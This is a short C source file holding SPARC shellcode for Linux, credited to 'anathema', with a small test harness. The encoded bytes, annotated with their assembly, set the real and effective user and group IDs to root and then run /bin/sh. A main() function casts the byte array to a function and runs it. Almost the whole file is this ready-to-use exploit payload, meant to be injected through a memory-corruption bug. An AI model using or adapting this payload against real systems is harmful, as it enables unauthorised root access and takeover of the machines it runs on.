/* * Linux/SPARC * [setreuid(0,0); setregid(0,0); execve() of /bin/sh] shellcode. */ char c0de[] = /* anathema */ /* setreuid(0,0); */ "\x82\x10\x20\x7e" /* mov 126, %g1 */ "\x92\x22\x40\x09" /* sub %o1, %o1, %o1 */ "\x90\x0a\x40\x09" /* and %o1, %o1, %o0 */ "\x91\xd0\x20\x10" /* ta 0x10 */ /* setregid(0,0); */ "\x82\x10\x20\x7f" /* mov 127, %g1 */ "\x92\x22\x40\x09" /* sub %o1, %o1, %o1 */ "\x90\x0a\x40\x09" /* and %o1, %o1, %o0 */ "\x91\xd0\x20\x10" /* ta 0x10 */ /* execve() of /bin/sh */ "\x2d\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l6 */ "\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 */ "\x2f\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l7 */ "\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 */ "\x92\x03\xa0\x08" /* add %sp, 0x08, %o1 */ "\x94\x22\x80\x0a" /* sub %o2, %o2, %o2 */ "\x9c\x03\xa0\x10" /* add %sp, 0x10, %sp */ "\xec\x3b\xbf\xf0" /* std %l6, [ %sp + - 16 ] */ "\xd0\x23\xbf\xf8" /* st %o0, [ %sp + - 8 ] */ "\xc0\x23\xbf\xfc" /* clr [ %sp + -4 ] */ "\x82\x10\x20\x3b" /* mov 0x3b, %g1 */ "\x91\xd0\x20\x10" /* ta 0x10 */ ; /* * Test out the shellcode. */ main () { void (*sc)() = (void *)c0de; sc(); } /* EOF */